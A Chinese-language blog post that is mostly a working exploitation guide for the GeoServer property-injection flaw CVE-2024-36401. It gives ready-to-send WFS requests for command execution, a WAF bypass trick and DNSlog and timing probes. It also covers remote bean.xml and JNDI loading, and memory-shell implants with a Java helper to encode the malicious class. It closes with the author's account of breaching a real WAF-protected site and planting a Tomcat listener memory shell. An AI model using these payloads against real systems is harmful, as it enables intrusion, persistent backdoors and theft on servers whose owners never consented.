
默认账号密码:admin/geoserver
公开的POC:https://github.com/Mr-xn/CVE-2024-36401
影响版本:
GeoServer < 2.23.6
2.24.0 <= GeoServer < 2.24.4
2.25.0 <= GeoServer < 2.25.2
注意typeNames必须在系统中存在才能利用
访问/geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0
可以搜索到所有的typeName

GetPropertyValue
存在两种传参方式,第一种是xml格式:
1 2 3 4 5 6 7 8 9 10 11 12
| POST /geoserver/wfs HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference> </wfs:GetPropertyValue>
|
第二种是POST/GET传参方式
1 2 3 4 5 6
| POST /geoserver/wfs HTTP/1.1 Host: 127.0.0.1:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 134
service=wfs&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),"whoami")
|

看到报错:
1
| java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to org.opengis.feature.type.AttributeDescriptor
|
说明命令执行成功
绕waf
看到GetPropertyValue

request.getValueReference().replaceAll("\\[.*\\]", "")
,这里会将[]
中的内容替换为空,但是为贪婪匹配,所以只能使用一次
在xml中,<!--xxx-->
代表注释,因此可以使用如下payload:
1
| /+java.lang.T<!--IgnoreMe!!!!-->hread.s[(: IGNORE :)]leep
 	<![CDATA[ (2000) ]]>
|

参考:
浅析GeoServer property 表达式注入代码执行(CVE-2024-36401)
漏洞探测
dnslog探测:
1 2 3 4 5 6 7 8
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>java.net.InetAddress.getAllByName("xxx.dnslog.xxx") </wfs:valueReference> </wfs:GetPropertyValue>
|
探测JDK版本:
1
| getValue(parseExpression(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(java.net.InetAddress).getByName(T(java.lang.System).getProperty('java.version').replace('.', '-') + '.cnem83.dnslog.cn')"))
|

延时探测:
1 2 3 4 5 6 7 8
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>java.lang.Thread.sleep(2000) </wfs:valueReference> </wfs:GetPropertyValue>
|
ClassPathXmlApplicationContext或FileSystemXmlApplicationContext实例化RCE:
1 2
| org.springframework.context.support.ClassPathXmlApplicationContext.new("http://127.0.0.1:8080/bean.xml") org.springframework.context.support.FileSystemXmlApplicationContext.new("http://127.0.0.1:8080/bean.xml")
|
JNDI注入:
1
| javax.naming.InitialContext.doLookup("ldap://127.0.0.1:1389/")
|
内存马
JDK 8-11
参考:GeoServer property RCE注入内存马
加载字节码的Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str="your-base64-memery"; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
|
注意在JDK>8时,defineAnonymousClass做了限制,被加载的Class要满足两个条件之一:
- 没有包名
- 包名跟第一个参数Class的包名一致,此处为java.lang,否则会报错
使用JEG生成回显payload

JDK 11-22
参考:CVE-2024-36401 JDK 11-22 通杀内存马
GeoServer(CVE-2024-36401) JDK 11-22 通杀内存马利用总结
简单概括一下几个问题:
- SpEL表达式字符串长度不能超过10000:手动编译恶意字节码,不生成调试信息,并在编译时显示未经检查的操作和已弃用代码的警告;考虑使用 gzip 先压缩 class 文件,接着再套一层 Base64 编码
- JDK17+对反射的限制:使用Unsafe绕过
- 指定了contextClass:需要恶意类在
org.springframework.expression
包下
whoopscs师傅给出的java代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| import java.io.*; import java.util.Base64; import java.util.ArrayList; import java.util.List; import java.util.zip.GZIPOutputStream;
public class Evil { public static void main(String[] args) { String javaFilePath = "Test.java"; String classFilePath = getClassNameFromJavaPath(javaFilePath) + ".class"; String outputFilePath = "SpELMemShell.txt";
try { compileJavaFile(javaFilePath);
if (!new File(classFilePath).exists()) { throw new FileNotFoundException("The compiled class file was not generated."); }
String base64String = compressAndEncodeClassFile(classFilePath);
writeToFile(outputFilePath, base64String); } catch (IOException e) { System.err.println("Error processing the file: " + e.getMessage()); } }
private static void compileJavaFile(String javaFilePath) throws IOException { String javacPath = "/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/javac";
List<String> command = new ArrayList<>(); command.add(javacPath); command.add("-g:none"); command.add("-Xlint:unchecked"); command.add("-Xlint:deprecation"); command.add(javaFilePath);
ProcessBuilder processBuilder = new ProcessBuilder(command); Process process = processBuilder.start();
try { int exitCode = process.waitFor(); if (exitCode != 0) { BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); String line; while ((line = errorReader.readLine()) != null) { System.err.println(line); } throw new RuntimeException("Compilation failed with exit code " + exitCode); } } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException("Compilation interrupted", e); } }
private static String compressAndEncodeClassFile(String classFilePath) throws IOException { byte[] classData = readFile(classFilePath);
byte[] compressedData = compress(classData);
String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData);
System.out.println("Original Base64 encoded string length: " + classData.length); System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length());
return encodedCompressedData; }
private static byte[] readFile(String filePath) throws IOException { try (FileInputStream fis = new FileInputStream(filePath)) { byte[] data = new byte[fis.available()]; fis.read(data); return data; } }
private static byte[] compress(byte[] data) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) { gzos.write(data); } return baos.toByteArray(); }
private static void writeToFile(String filePath, String content) throws IOException { try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) { writer.write(content); } }
private static String getClassNameFromJavaPath(String javaFilePath) { String fileName = new File(javaFilePath).getName(); return fileName.substring(0, fileName.indexOf('.')); } }
|
使用JMG生成class文件,注意勾选Bypass JDK Module

打SpEL 表达式注入
1 2 3 4 5 6 7 8
| <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>toString(getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))"))) </wfs:valueReference> </wfs:GetPropertyValue>
|

返回java.lang.ClassCastException
,说明代码执行成功
宇哥给了一个加载回显的poc:
1
| getValue(parseRaw(org.springframework.expression.spel.standard.SpelExpressionParser.new(),"{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass('org.springframework.expression.Echo').newInstance()}"))
|

舒服了
实战
最近遇到一个站,存在waf,和同事经过几天的研究最终拿下

报错:系统找不到指定的文件,经过测试发现不支持xml格式传参
泄露了网站路径:C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\geoserver
中间件:Tomcat 9.0
操作系统:Windows
改为POST传参

成功触发延时,说明漏洞存在,但是在执行命令的时候发现存在waf

匹配了关键字,也是十分常见的waf过滤方式,这个时候就可以使用[]
去绕过了

返回java.lang.ClassCastException: java.lang.ProcessImpl
,说明命令执行成功,但没有回显+过滤了常见的命令执行关键字,怎么办呢
ScriptEngineManager或者SpEL字节码加载肯定是不行的,[]
只能绕过一个关键字,字节码加载的payload敏感字符太多了,有没有用少量payload就可以加载字节码的方式呢?有的兄弟,有的
其实也不难想到,可以使用ClassPathXmlApplicationContext远程加载bean.xml文件实现字节码执行RCE
使用工具:https://github.com/vulhub/java-chains

打Tomcat Listener
内存马

看一下杀软

我勒个豆